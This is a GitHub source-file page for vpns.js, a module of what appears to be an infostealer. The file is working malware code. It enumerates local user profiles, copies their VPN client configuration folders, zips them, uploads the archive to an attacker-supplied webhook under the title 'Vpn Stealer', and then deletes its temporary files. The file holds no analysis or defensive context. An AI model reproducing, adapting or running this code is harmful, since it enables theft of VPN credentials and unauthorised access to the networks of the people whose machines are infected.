-
Notifications
You must be signed in to change notification settings - Fork 1
/
vpns.js
70 lines (56 loc) · 2.01 KB
/
vpns.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const fs = require('fs');
const path = require('path');
const os = require('os');
const vpnsPaths = require('./paths.js');
const requests = require('./../../utils/requests/requests.js');
const fileutil = require('./../../utils/fileutil/fileutil.js');
const hardware = require('./../../utils/hardware/hardware.js');
module.exports = async (webhookUrl) => {
const users = await hardware.GetUsers();
const vpnsTempDir = path.join(os.tmpdir(), 'vpns-temp');
if (!fs.existsSync(vpnsTempDir)) {
fs.mkdirSync(vpnsTempDir, { recursive: true });
}
let vpnsFound = '';
for (const user of users) {
for (const [name, relativePath] of Object.entries(vpnsPaths.GetVpns())) {
const vpnsPath = path.join(user, relativePath);
if (!fs.existsSync(vpnsPath) || !fs.lstatSync(vpnsPath).isDirectory()) {
continue;
}
try {
const vpnsDestPath = path.join(vpnsTempDir, user.split(path.sep)[2], name);
await fileutil.Copy(vpnsPath, vpnsDestPath);
vpnsFound += `\n✅ ${user.split(path.sep)[2]} - ${name}`;
} catch (err) {
continue;
}
}
}
if (vpnsFound === '') {
return;
}
if (vpnsFound.length > 4090) {
vpnsFound = 'Numerous vpns to explore.';
}
const vpnsTempZip = path.join(os.tmpdir(), 'vpns.zip');
try {
await fileutil.ZipDirectory({
inputDir: vpnsTempDir,
outputZip: vpnsTempZip
});
await requests.Webhook(webhookUrl, {
embeds: [{
title: 'Vpn Stealer',
description: '```' + vpnsFound + '```',
}],
}, [vpnsTempZip]);
const WishTempDir = fileutil.WishTempDir('vpns');
await fileutil.Copy(vpnsTempDir, WishTempDir);
[vpnsTempDir, vpnsTempZip].forEach(async dir => {
await fileutil.RemoveDir(dir);
});
} catch (error) {
console.error(error);
}
};